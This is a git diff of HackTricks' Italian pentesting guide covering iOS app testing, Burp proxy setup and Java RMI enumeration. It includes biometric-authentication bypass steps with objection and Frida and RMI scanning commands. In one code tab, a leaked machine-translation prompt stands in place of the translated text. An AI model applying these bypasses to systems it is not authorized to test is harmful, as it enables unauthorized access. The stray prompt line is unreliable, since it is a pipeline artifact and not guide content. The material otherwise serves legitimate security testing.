-Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono di effettuare il dump della memoria del processo di un'app. Una volta effettuato il dump, per analizzare questi dati sono necessari vari strumenti, a seconda della natura delle informazioni che si sta cercando.
+Per dispositivi jailbroken e non jailbroken, strumenti come [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) consentono il dump della memoria del processo di un'app. Una volta effettuato il dump, l'analisi di questi dati richiede vari strumenti, a seconda della natura delle informazioni che si sta cercando.
Per estrarre stringhe da un dump di memoria, possono essere utilizzati comandi come `strings` o `rabin2 -zz`:
```bash
@@ -732,17 +733,17 @@ $ r2 frida://usb//
```
## Crittografia Danneggiata
-### Processi di Gestione Chiavi Scadenti
+### Processi di Gestione delle Chiavi Scadenti
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave codificata/prevedibile nel codice. Questo non dovrebbe essere fatto poiché un'operazione di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni confidenziali.
### Utilizzo di Algoritmi Insicuri e/o Deprecati
-Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire controlli di **autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono utilizzati **hash** per memorizzare ad esempio le password, dovrebbero essere utilizzati hash **resistenti** agli attacchi di forza bruta con salt.
+Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se vengono utilizzati **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash **resistenti** agli attacchi di forza bruta con salt.
### Controllo
-I principali controlli da effettuare sono per individuare se ci sono password/segnreti **codificati** nel codice, o se questi sono **prevedibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **deboli**.
+I principali controlli da effettuare sono per verificare se è possibile trovare password/segnreti **codificati** nel codice, o se questi sono **prevedibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **deboli**.
È interessante sapere che è possibile **monitorare** automaticamente alcune **librerie di crittografia** utilizzando **objection** con:
```swift
@@ -759,7 +760,7 @@ Il [**framework di autenticazione locale di Apple**](https://developer.apple.com
Per integrare il Touch ID/Face ID, gli sviluppatori hanno due scelte di API:
* **`LocalAuthentication.framework`** per l'autenticazione dell'utente a livello elevato senza accesso ai dati biometrici.
-* **`Security.framework`** per l'accesso ai servizi del portachiavi a livello inferiore, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al portachiavi.
+* **`Security.framework`** per l'accesso ai servizi di portachiavi a livello inferiore, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al portachiavi.
{% hint style="danger" %}
Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili all'aggiramento (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
@@ -769,7 +770,7 @@ Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentan
Per richiedere agli utenti l'autenticazione, gli sviluppatori dovrebbero utilizzare il metodo **`evaluatePolicy`** all'interno della classe **`LAContext`**, scegliendo tra:
-* **`deviceOwnerAuthentication`**: Richiede il Touch ID o il codice di accesso del dispositivo, fallendo se nessuno dei due è abilitato.
+* **`deviceOwnerAuthentication`**: Richiede l'ID dell'impronta digitale o il codice di accesso del dispositivo, fallendo se nessuno dei due è abilitato.
* **`deviceOwnerAuthenticationWithBiometrics`**: Richiede esclusivamente il Touch ID.
Un'autenticazione riuscita è indicata da un valore booleano restituito da **`evaluatePolicy`**, evidenziando una potenziale falla di sicurezza.
@@ -778,9 +779,9 @@ Un'autenticazione riuscita è indicata da un valore booleano restituito da **`ev
L'implementazione dell'**autenticazione locale** nelle app iOS coinvolge l'uso delle **API del portachiavi** per memorizzare in modo sicuro dati segreti come token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il codice di accesso del dispositivo o l'autenticazione biometrica come il Touch ID.
-Il portachiavi offre la capacità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite il Touch ID o il codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
+Il portachiavi offre la capacità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente autentica con successo tramite il Touch ID o il codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
-Di seguito sono riportati esempi di codice in Swift e Objective-C che mostrano come salvare e recuperare una stringa dal portachiavi, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come configurare il controllo dell'accesso per richiedere l'autenticazione del Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso al dispositivo.
+Di seguito sono riportati esempi di codice in Swift e Objective-C che mostrano come salvare e recuperare una stringa dal portachiavi, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come configurare il controllo degli accessi per richiedere l'autenticazione del Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.
{% tabs %}
{% tab title="Swift" %}
@@ -822,7 +823,7 @@ if status == noErr {
```
{% endtab %}
-{% tab title="Objective-C" %}Traduzione in corso...{% endtab %}
+{% tab title="Objective-C" %}Translate the relevant English text to Italian and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
@@ -899,6 +900,9 @@ NSLog(@"%@", password);
NSLog(@"Something went wrong");
}
```
+{% endtab %}
+{% endtabs %}
+
### Rilevamento
L'utilizzo di framework in un'app può anche essere rilevato analizzando l'elenco delle librerie dinamiche condivise dell'applicazione binaria. Questo può essere fatto utilizzando `otool`:
@@ -927,7 +931,7 @@ Per attivare questo bypass, viene utilizzato il seguente comando:
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
-Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` su `True`.
+Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` a `True`.
#### Frida
@@ -1033,7 +1037,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
## Comunicazione di Rete
-È importante verificare che non ci siano comunicazioni in corso **senza crittografia** e che l'applicazione stia correttamente **validando il certificato TLS** del server.\
+È importante verificare che non ci siano comunicazioni **senza crittografia** e che l'applicazione stia correttamente **validando il certificato TLS** del server.\
Per verificare questo tipo di problemi, è possibile utilizzare un proxy come **Burp**:
{% content-ref url="burp-configuration-for-ios.md" %}
@@ -1065,23 +1069,23 @@ Per aggirare questa protezione all'interno di un dispositivo jailbroken, è poss
### Patching in Tempo Reale/Aggiornamenti Forzati
-Gli sviluppatori possono **applicare patch istantaneamente a tutte le installazioni della propria app** senza dover inviare nuovamente l'applicazione allo store e attendere l'approvazione.\
+Gli sviluppatori possono **applicare patch remotamente a tutte le installazioni della propria app istantaneamente** senza dover sottomettere nuovamente l'applicazione allo Store e attendere l'approvazione.\
Per questo scopo di solito si utilizza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Si tratta di un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malintenzionati, pertanto è consigliabile verificare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Si potrebbe provare a scaricare una versione precedente dell'app a questo scopo.
### Terze Parti
-Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare lo SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi vantaggi. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware.
+Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare lo SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware.
-I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
+I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È cruciale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
-L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o uno SDK completo. Per proteggere la privacy dell'utente, tutti i dati condivisi con questi servizi dovrebbero essere **anonimizzati** per evitare la divulgazione di Informazioni di Identificazione Personale (PII).
+L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o uno SDK completo. Per proteggere la privacy dell'utente, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonimizzato** per evitare la divulgazione di Informazioni di Identificazione Personale (PII).
Per identificare le librerie utilizzate da un'applicazione, è possibile utilizzare il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa utilizzata per scoprire eventuali librerie aggiuntive.
```bash
otool -L
```
-## **Riferimenti e Altre Risorse**
+## **Riferimenti e Altri Risorse**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
@@ -1112,10 +1116,10 @@ otool -L
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
-Ottieni l'accesso oggi:
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Ottieni l'Accesso Oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
@@ -1123,10 +1127,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
-* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
index c282ecc16..79e06bd17 100644
--- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
+++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
@@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Installazione del Certificato Burp sui Dispositivi iOS
@@ -44,7 +44,7 @@ La configurazione consente l'analisi del traffico tra il dispositivo iOS e Inter
Per gli utenti con dispositivi jailbroken, SSH tramite USB (tramite **iproxy**) offre un metodo per instradare il traffico direttamente attraverso Burp:
-1. **Stabilire una Connessione SSH:** Utilizza iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp.
+1. **Stabilire la Connessione SSH:** Utilizza iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp.
```bash
iproxy 2222 22
@@ -58,11 +58,11 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Monitoraggio/Sniffing Completo della Rete
-Il monitoraggio del traffico del dispositivo non HTTP può essere effettuato in modo efficiente utilizzando **Wireshark**, uno strumento in grado di catturare tutte le forme di traffico dati. Per i dispositivi iOS, il monitoraggio del traffico in tempo reale è facilitato dalla creazione di un'Interfaccia Virtuale Remota, un processo dettagliato in [questo post di Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prima di iniziare, l'installazione di **Wireshark** su un sistema macOS è un prerequisito.
+Il monitoraggio del traffico del dispositivo non HTTP può essere condotto in modo efficiente utilizzando **Wireshark**, uno strumento in grado di catturare tutte le forme di traffico dati. Per i dispositivi iOS, il monitoraggio in tempo reale del traffico è facilitato dalla creazione di un'Interfaccia Virtuale Remota, un processo dettagliato in [questo post di Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prima di iniziare, l'installazione di **Wireshark** su un sistema macOS è un prerequisito.
-La procedura coinvolge diversi passaggi chiave:
+La procedura prevede diversi passaggi chiave:
-1. Inizia una connessione tra il dispositivo iOS e l'host macOS tramite USB.
+1. Avvia una connessione tra il dispositivo iOS e l'host macOS tramite USB.
2. Verifica l'**UDID** del dispositivo iOS, un passaggio necessario per il monitoraggio del traffico. Questo può essere fatto eseguendo un comando nel Terminale macOS:
```bash
$ rvictl -s
@@ -81,7 +81,7 @@ In _Proxy_ --> _Opzioni_ --> _Esporta certificato CA_ --> _Certificato in format
* **Trascina e rilascia** il certificato all'interno dell'Emulatore
* **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Profilo_ --> _PortSwigger CA_, e **verifica il certificato**
-* **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Info_ --> _Impostazioni fiducia certificati_, e **abilita PortSwigger CA**
+* **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Informazioni_ --> _Impostazioni Fiducia Certificati_, e **abilita PortSwigger CA**
![](<../../.gitbook/assets/image (1048).png>)
@@ -97,7 +97,7 @@ Passaggi per configurare Burp come proxy:
* Vai su _Preferenze di Sistema_ --> _Rete_ --> _Avanzate_
* Nella scheda _Proxy_ seleziona _Proxy Web (HTTP)_ e _Proxy Web Sicuro (HTTPS)_
-* In entrambe le opzioni configura _127.0.0.1:8080_
+* Configura entrambe le opzioni con _127.0.0.1:8080_
![](<../../.gitbook/assets/image (431).png>)
@@ -106,20 +106,20 @@ Passaggi per configurare Burp come proxy:
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
-Impara l'hacking su AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking di AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md
index 90ab5be9b..ea77c3b44 100644
--- a/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/network-services-pentesting/1099-pentesting-java-rmi.md
@@ -2,25 +2,25 @@
-Impara l'hacking su AWS da zero a esperto conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking su AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Informazioni di base
@@ -42,8 +42,8 @@ _nmap_ a volte ha problemi nell'identificare i servizi _RMI_ protetti da _SSL_.
Per semplificare, _Java RMI_ consente a un programmatore di rendere disponibile un _oggetto Java_ sulla rete. Questo apre una porta _TCP_ dove i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante ciò sembri semplice, ci sono diverse sfide che _Java RMI_ deve risolvere:
-1. Per instradare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
-2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _macchina virtuale Java_ deve tracciare quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector.
+1. Per instradare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
+2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _macchina virtuale Java_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector.
La prima sfida è risolta dal _registro RMI_, che è essenzialmente un servizio di denominazione per _Java RMI_. Il _registro RMI_ stesso è anche un servizio _RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Ciò consente ai client _RMI_ di consumare il registro _RMI_ semplicemente conoscendo la porta _TCP_ corrispondente.
@@ -71,7 +71,7 @@ e.printStackTrace();
}
}
```
-Il secondo dei suddetti sfide è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Questo è un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un _client RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di ripulire gli oggetti non utilizzati.
+Il secondo dei suddetti sfide è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Si tratta di un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un _client RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di eliminare gli oggetti non utilizzati.
Insieme al deprecato _Sistema di Attivazione_, questi sono i tre componenti predefiniti di _Java RMI_:
@@ -83,7 +83,7 @@ I componenti predefiniti di _Java RMI_ sono noti vettori di attacco da parecchio
## Enumerazione RMI
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) è uno scanner di vulnerabilità _Java RMI_ in grado di identificare automaticamente le comuni vulnerabilità _RMI_. Ogni volta che identifichi un endpoint _RMI_, dovresti provarlo:
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) è uno scanner di vulnerabilità _Java RMI_ in grado di identificare automaticamente le vulnerabilità _RMI_ comuni. Ogni volta che identifichi un endpoint _RMI_, dovresti provarlo:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@@ -143,7 +143,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
-Il risultato dell'azione di enumerazione è spiegato in dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, si dovrebbe cercare di verificare le vulnerabilità identificate.
+L'output dell'azione di enumerazione è spiegato in dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, si dovrebbe cercare di verificare le vulnerabilità identificate.
I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Ciò potrebbe consentire di identificare altre vulnerabilità:
```
@@ -158,7 +158,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Forzatura dei Metodi Remoti
-Anche quando durante l'enumerazione non sono state identificate vulnerabilità, i servizi _RMI_ disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione _RMI_ con i componenti predefiniti _RMI_ sia protetta da filtri di serializzazione, quando si parla di servizi _RMI_ personalizzati, tali filtri di solito non sono in atto. Conoscere le firme dei metodi validi sui servizi _RMI_ è quindi prezioso.
+Anche quando durante l'enumerazione non sono state identificate vulnerabilità, i servizi _RMI_ disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione _RMI_ con i componenti predefiniti _RMI_ sia protetta da filtri di serializzazione, quando si parla con servizi _RMI_ personalizzati, tali filtri di solito non sono in atto. Conoscere le firme dei metodi validi sui servizi _RMI_ è quindi prezioso.
Purtroppo, _Java RMI_ non supporta l'enumerazione dei metodi sugli _oggetti remoti_. Detto ciò, è possibile forzare le firme dei metodi con strumenti come [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout):
```
@@ -225,11 +225,11 @@ Ulteriori informazioni possono essere trovate in questi articoli:
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
-Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome vincolato_ e il nome della classe o interfaccia implementata possono essere utili qui.
+Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome legato_ e il nome della classe o interfaccia implementata possono essere utili qui.
## Interfacce Conosciute
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna le classi o interfacce come `conosciute` se sono elencate nel database interno dello strumento dei servizi _RMI_ conosciuti. In questi casi puoi utilizzare l'azione `conosciuta` per ottenere ulteriori informazioni sul corrispondente servizio _RMI_:
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) contrassegna le classi o interfacce come `conosciute` se sono elencate nel database interno dello strumento dei servizi _RMI_ conosciuti. In questi casi puoi utilizzare l'azione `conosciuta` per ottenere ulteriori informazioni sul servizio _RMI_ corrispondente:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@@ -316,21 +316,21 @@ Command: rmg enum {IP} {PORT}
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi:
